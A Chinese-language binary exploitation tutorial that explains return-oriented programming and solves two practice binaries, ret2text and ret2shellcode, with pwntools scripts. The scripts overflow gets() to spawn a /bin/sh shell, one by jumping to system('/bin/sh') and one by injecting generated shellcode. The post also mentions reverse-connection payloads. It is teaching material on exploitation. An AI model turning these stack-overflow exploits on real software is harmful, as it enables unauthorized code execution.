ROP基本原理和實戰(zhàn)
預(yù)備條件
ret2shellcode:http://www.hacksprit.top:8090/files/ret2shellcode ret2text: http://www.hacksprit.top:8090/files/ret2text 關(guān)閉系統(tǒng)的ASLR
棧溢出
在這里對棧溢出進行了介紹。
ROP
學(xué)習(xí)過Java的人對*OP應(yīng)該都有所了解,比如OOP(面向?qū)ο缶幊?,比如AOP(面向切面編程)。那ROP是 什么那?又和棧攻擊有什么關(guān)系那?
ROP(Return Oriented Programming),其主要思想是在棧緩沖區(qū)溢出的基礎(chǔ)上,利用程序中已有的小片段( gadgets )來改變某些寄存器或者變量的值,從而控制程序的執(zhí)行流程。所謂gadgets 就是以 ret 結(jié)尾的指令序列,通過這些指令序列,我們可以修改某些地址的內(nèi)容,方便控制程序的執(zhí)行流程,從而繞過NX保護機制。
之所以稱之為 ROP,是因為核心在于利用了指令集中的 ret 指令,改變了指令流的執(zhí)行順序。ROP 攻擊一般得滿足如下條件:
程序存在溢出,并且可以控制返回地址。
可以找到滿足條件的 gadgets 以及相應(yīng) gadgets 的地址
ret2text程序
攻擊目標
ret2text程序
簡單fuzz
通過輸入多個字符a進行fuzz,從下圖中可以看出程序崩潰。由此推測程序存在漏洞。

查看保護機制
使用 checksec ret2text
查看程序使用的保護機制,從圖中可以看出NX是開啟的,也就是無法直接執(zhí)行棧里面的數(shù)據(jù)。

調(diào)試程序
使用Radare2(或者gdb)進行調(diào)試,本文使用Radare2進行調(diào)試。關(guān)于Radare2的介紹,可參考這里。
查看匯編代碼
使用 pdf@main

通過匯編代碼,大致可以寫出相應(yīng)的c代碼,居然有一個高度危險的函數(shù)gets。由于gets函數(shù)不會對輸入長度進行校驗,那么當長度足夠長的時候,就會覆蓋到返回地址,然后,當程序返回之后,返回到一個無效的地址,由此就有了上面的程序崩潰。具體可參考這里。
int main(){
char *s;
? ?setbuf(stdout,0,2,0)
? ?setbuf(stdin,0,1,1)
? ?puts("There is something amazing here, do you know anything?")
? ?gets(s);
? ?printf("Maybe I will tell you next time !")
return 0;
}
確定與返回地址的偏移
在gets函數(shù)之后下斷點, 運行程序。

通過 v
查看棧、寄存器等信息

s與ebp的偏移0xffffcfc8 - 0xffffcf5c = 6ch = 6*16+12 = 108,再加上ebp的4個字節(jié)就是距離返回地址的偏移,也就是112。然后在返回地址處,填充一個地址,這個地址,指向獲取系統(tǒng)shell的代碼。,這就是ROP。
High
Address | |
+-----------------+
| args ? ? ? ? ? ?|
+-----------------+
| return address ?|
+-----------------+
? ? ? ? ebp | old ebp ? ? ? ? |
+-----------------+
| ... |
+-----------------+
? ? ebp-112| 變量s地址 |
Low | |
Address
尋找獲取系統(tǒng)shell的代碼
通過 pdf@sym.secure
查看匯編代碼 ,可以看出有system("/bin/sh")這段代碼,于是可以這里的代碼。

獲取shell
##!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()
運行,結(jié)果如下,通過這個shell可以查看進程,用戶等信息。

ret2shellcode
攻擊目標
ret2shellcode程序
簡單fuzz

查看保護機制

NX未開啟
調(diào)試程序

通過分析程序,寫出c代碼,很明顯,依然存在由gets函數(shù)引起的棧溢出漏洞。但是多了strncpy內(nèi)存復(fù)制函數(shù),那么如果buf2中的內(nèi)存是可執(zhí)行的,寫入一段shellcode,然后再跳轉(zhuǎn)到buf2出,就可以控制程序的執(zhí)行了,同樣這也是ROP。
int main(){
char *s;
? ?setbuf(stdout,0,2,0)
? ?setbuf(stdin,0,1,1)
? ?puts("No system for you this time !!!")
? ?gets(s);
? ?strncpy(buf2,s,0x64)
? ?printf("bye bye ~")
return 0;
}
buf2處的內(nèi)存能否執(zhí)行,通過 dm
查看Memory Map的權(quán)限,由于0x804a080在第二行的范圍內(nèi),因此具有可執(zhí)行的權(quán)限。

確定與返回地址的偏移
和上面的方法類似。
獲取shell
python ljust
Python ljust() 方法返回一個原字符串左對齊,并使用空格填充至指定長度的新字符串。如果指定的長度小于原字符串的長度則返回原字符串
#!/usr/bin/python
str = "this is string example....wow!!!";
print str.ljust(50, '0');
運行結(jié)果,總長度是50,不是填充的字符長度是50。
this is string example....wow!!!000000000000000000
shellcode
使用的模塊
asm : 匯編與反匯編,支持x86/x64/arm/mips/powerpc等基本上所有的主流平臺
shellcraft : shellcode的生成器
獲取shell的payload
結(jié)合asm可以可以得到最終的pyaload。
from pwn import *
context(os='linux',arch='amd64')
shellcode = asm(shellcraft.sh())
或者
from pwn import *
shellcode = asm(shellcraft.amd64.linux.sh())
除了直接執(zhí)行sh之外,還可以進行其它的一些常用操作例如提權(quán)、反向連接等等。
exploit
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
x = len(shellcode.ljust(112, 'A'))
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
運行程序,成功獲取shell,可以查看進程等信息。

公眾號
更多二進制安全內(nèi)容,歡迎關(guān)注我的公眾號:無情劍客。
